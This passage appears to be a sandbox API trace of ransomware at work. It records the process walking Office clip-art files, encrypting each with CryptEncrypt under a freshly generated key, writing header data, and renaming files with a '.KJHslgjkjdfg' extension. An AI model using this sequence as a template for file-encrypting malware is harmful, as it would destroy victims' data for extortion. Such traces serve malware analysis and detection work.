[0189.382] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.kjhslgjkjdfg")) returned 1 [0189.383] CloseHandle (hObject=0x130) returned 1 [0189.383] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0189.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.384] GetProcessHeap () returned 0x990000 [0189.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.384] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.384] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.384] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.388] GetProcessHeap () returned 0x990000 [0189.388] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.388] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.388] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.388] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.388] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.388] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.388] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.389] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.389] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xeb4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xeb4, lpOverlapped=0x0) returned 1 [0189.389] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xec0, dwBufLen=0xec0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xec0) returned 1 [0189.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.389] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xec0, lpOverlapped=0x0) returned 1 [0189.389] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.389] SetEndOfFile (hFile=0x130) returned 1 [0189.392] GetProcessHeap () returned 0x990000 [0189.392] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.392] GetProcessHeap () returned 0x990000 [0189.392] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.kjhslgjkjdfg")) returned 1 [0189.393] CloseHandle (hObject=0x130) returned 1 [0189.393] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0189.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.398] GetProcessHeap () returned 0x990000 [0189.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.398] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.398] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.401] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.401] GetProcessHeap () returned 0x990000 [0189.401] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.401] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.401] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.401] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.401] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.402] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.402] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.402] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.402] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.402] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9a8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9a8, lpOverlapped=0x0) returned 1 [0189.402] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9b0) returned 1 [0189.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.402] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9b0, lpOverlapped=0x0) returned 1 [0189.402] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.402] SetEndOfFile (hFile=0x130) returned 1 [0189.405] GetProcessHeap () returned 0x990000 [0189.405] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.405] GetProcessHeap () returned 0x990000 [0189.405] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.kjhslgjkjdfg")) returned 1 [0189.406] CloseHandle (hObject=0x130) returned 1 [0189.406] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0189.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.408] GetProcessHeap () returned 0x990000 [0189.408] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.408] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.408] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.410] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.410] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.410] GetProcessHeap () returned 0x990000 [0189.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.410] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.410] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.410] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.411] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.411] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.411] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.411] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.411] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.411] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.411] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b8, lpOverlapped=0x0) returned 1 [0189.411] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0) returned 1 [0189.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.411] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8c0, lpOverlapped=0x0) returned 1 [0189.412] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.412] SetEndOfFile (hFile=0x130) returned 1 [0189.414] GetProcessHeap () returned 0x990000 [0189.414] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.414] GetProcessHeap () returned 0x990000 [0189.414] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.kjhslgjkjdfg")) returned 1 [0189.415] CloseHandle (hObject=0x130) returned 1 [0189.415] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0189.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.416] GetProcessHeap () returned 0x990000 [0189.416] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.416] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.416] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0189.419] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.419] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.419] GetProcessHeap () returned 0x990000 [0189.419] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.419] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.419] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.419] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.419] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.419] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.419] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.420] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.420] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.420] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.420] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x402, lpOverlapped=0x0) returned 1 [0189.420] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x410, dwBufLen=0x410 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x410) returned 1 [0189.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.420] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x410, lpOverlapped=0x0) returned 1 [0189.420] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.420] SetEndOfFile (hFile=0x130) returned 1 [0189.423] GetProcessHeap () returned 0x990000 [0189.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.423] GetProcessHeap () returned 0x990000 [0189.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.kjhslgjkjdfg")) returned 1 [0189.424] CloseHandle (hObject=0x130) returned 1 [0189.424] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0189.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.425] GetProcessHeap () returned 0x990000 [0189.425] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 